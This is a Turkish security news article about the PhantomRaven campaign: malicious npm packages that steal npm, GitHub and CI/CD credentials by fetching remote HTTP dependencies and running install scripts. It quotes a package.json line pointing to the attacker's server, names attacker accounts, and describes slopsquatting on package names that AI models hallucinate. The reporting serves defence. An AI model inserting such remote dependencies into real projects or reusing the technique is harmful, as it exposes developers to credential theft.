PhantomRaven Saldırısı, 86.000 İndirme Sayısını Aşan 126 Kötü Amaçlı npm Paketinde Keşfedildi


Küresel geliştirici topluluğu, 86.000’den fazla indirmeye sahip 126 kötü amaçlı npm paketini içeren geniş kapsamlı bir kampanya olan PhantomRaven’ın ortaya çıkmasıyla sarsıldı.

Görünüşün altında gizlenen bu paketler, dünya çapındaki hiçbir şeyden haberi olmayan geliştiricilerden aktif olarak npm belirteçlerini, GitHub kimlik bilgilerini ve CI/CD sırlarını çalıyor.

Saldırganlar, ölçeklerine ve etkilerine rağmen, açık kaynak ekosistemindeki kör noktalardan yararlanarak kötü amaçlı kodlarını standart güvenlik analizlerinden gizlemek için yeni tekniklerden yararlandılar.

Ekim 2025’te Koi Security’nin davranışsal risk motoru Wings, harici ağ istekleri yapan npm paketlerinde bir artış tespit etti; bu, çoğu paketin kurulum sırasında asla yapmadığı bir şey.

Daha derin bir araştırma gerçeği ortaya çıkardı: Ağustos ayından bu yana, orijinal 126 paketin 80’inden fazlasının hala çalışır durumda olduğu ve kimlik bilgilerinin gizlice çalındığı geniş bir saldırı sürüyordu.

NPM tarafından yapılan erken kaldırma işlemleri, takip eden yüklemelerin büyük bir kısmını kaçırdı ve kampanyanın aylarca tespit edilmekten kurtulmasına olanak tanıdı.

Kötü amaçlı paketlerden birine ilişkin Koidex raporu.Kötü amaçlı paketlerden birine ilişkin Koidex raporu.
Kötü amaçlı paketlerden birine ilişkin Koidex raporu.

Saldırganın altyapısı, ücretsiz hizmetlerden gelen sıralı e-posta adreslerine (jpdtester01@hotmail gibi) dayanan şaşırtıcı bir operasyonel güvenlik eksikliğiyle dikkat çekiyordu.[.]jpdtester13@gmail aracılığıyla iletişime geçin[.]com) ve “npmhell” ve “npmpackagejpd” gibi düşük çaba gerektiren kullanıcı adlarını kullanın. Bu kırıntılara rağmen akıllı dağıtım mekanizmaları gerçek yükün gizli kalmasını sağladı.

PhantomRaven Tespitten Nasıl Kaçtı?

Geleneksel npm paketleri, doğrudan npmjs.com kaynaklı bağımlılıkları listeleyerek onları tarayıcılar ve bağımlılık analiz araçları için şeffaf hale getirir.

Ancak PhantomRaven gelişmiş bir kaçınma taktiği kullandı: Uzaktan Dinamik Bağımlılıklar (RDD). Paketler, standart işaretçiler yerine bağımlılıklara HTTP URL’leriyle başvuruda bulunuyordu; örneğin:

text"dependencies": {
    "ui-styles-pkg": "http://packages.storeartifact.com/npm/unused-imports"
}

Bu görünüşte zararsız değişiklik çok önemlidir. Npm kurulduğunda, kayıt defteri kontrollerini atlayarak ve güvenlik tarayıcılarını kör bırakarak uzak paketi doğrudan saldırganın sunucusundan alır ve kullanıcı arayüzüne “0 bağımlılık” kaydeder.

Npm kullanıcı arayüzü 0 bağımlılık gösteriyor.Npm kullanıcı arayüzü 0 bağımlılık gösteriyor.
Npm kullanıcı arayüzü 0 bağımlılık gösteriyor.

Dağıtım sunucusunun tamamen kontrolünü elinde bulunduran saldırgan, yükleyicinin IP adresini inceleyerek hedeflenen yüklere bile hizmet verebilir.

Her yükleme, “ön yükleme” gibi yaşam döngüsü komut dosyalarını çalıştırarak, bağımlılık ağacının ne kadar derinine gömülü olursa olsun, kötü amaçlı kodun otomatik olarak çalıştırılmasını sağlar.

Bu, yalnızca saldırganın talep üzerine özelleştirilmiş kötü amaçlı veriler sunmasına olanak sağlamakla kalmaz, aynı zamanda tüm kullanıcı istemlerini ve uyarılarını da atlatır.

PhantomRaven Aslında Ne Yapıyor?

PhantomRaven kötü amaçlı yazılımı yüklendikten sonra hassas ayrıntılar için kapsamlı bir tarama başlatır:

  • E-posta toplama: Geliştirici e-postalarını toplamak için ortam değişkenlerini, yapılandırma dosyalarını (.gitconfig ve .npmrc gibi) ve hatta package.json dosyalarındaki meta verileri araştırır.
  • CI/CD kimlik bilgileri hırsızlığı: Kötü amaçlı yazılım, GitHub Actions, GitLab CI, Jenkins, CircleCI ve npm’nin kendisi gibi platformlara yönelik sırları agresif bir şekilde hedef alarak derleme sunucularını ve dağıtım hatlarını doğrudan tehdit ediyor.
  • Sistem parmak izi: Toplanan veriler genel ve yerel IP’yi, ana bilgisayar adlarını, işletim sistemi bilgilerini, kullanıcı adlarını, çalışma dizinlerini ve Node.js sürümlerini içerir; bu da saldırganların hedeflere öncelik vermesine ve gelecekteki saldırılarda ince ayar yapmasına olanak tanır.

Sızma başarısını en üst düzeye çıkarmak için PhantomRaven, çalınan verileri HTTP GET, HTTP POST ve geri dönüş WebSocket bağlantıları aracılığıyla yedekli olarak göndererek çoğu ağ kısıtlamasını etkili bir şekilde atlar.

Paranoya noktasına kadar gereksiz.Paranoya noktasına kadar gereksiz.
Paranoya noktasına kadar gereksiz.

PhantomRaven’ın paket adları yalnızca yazım hatası değildir. Saldırganlar, büyük dil modeli (LLM) halüsinasyonlarından yararlanarak, Copilot veya ChatGPT gibi AI asistanları tarafından sıklıkla önerilen makul paketler oluşturur (örneğin, meşru “eslint-plugin-unused-imports” yerine “unused-imports”).

Slopsquatting olarak bilinen bu teknik, saldırganların ekosistemi, geliştiricilerin yalnızca AI tavsiyesi üzerine yükleyebileceği paketlerle zehirlemesine olanak tanıyor.

Yapay zeka tarafından oluşturulan önerilere güvenen kurbanlar, bilmeden PhantomRaven kötü amaçlı yazılımını ortamlarına sokar.

Açık Kaynak Güvenliğini Yeniden Düşünmek

PhantomRaven’ın yöntemleri, yazılım tedarik zinciri saldırılarının artan karmaşıklığını vurguluyor. Uzaktan Dinamik Bağımlılıklar, yapay zeka hedefli paket adları ve otomatik olarak yürütülen yaşam döngüsü komut dosyaları, kötü amaçlı yazılım dağıtımında birçok yerleşik güvenlik aracını geride bırakan yeni bir dönemi temsil ediyor.

Koi Security’nin araştırması ve çözümleri, davranışsal analizin (paketlerin yalnızca beyan ettikleri şeyden ziyade gerçekte ne yaptığını izleyen) statik taramalara görünmez saldırıları nasıl açığa çıkarabileceğini göstermektedir.

Açık kaynak ekosistemi bu gerçek zamanlı tehditlerle yüzleşirken, gelişmiş, dinamik savunmalar artık geliştiricilerin, işletmelerin ve yazılım tedarik zincirinin korunması için hayati önem taşıyor.

Anında Güncellemeler Almak ve GBH’yi Google’da Tercih Edilen Kaynak Olarak Ayarlamak için bizi Google Haberler, LinkedIn ve X’te takip edin.



Source link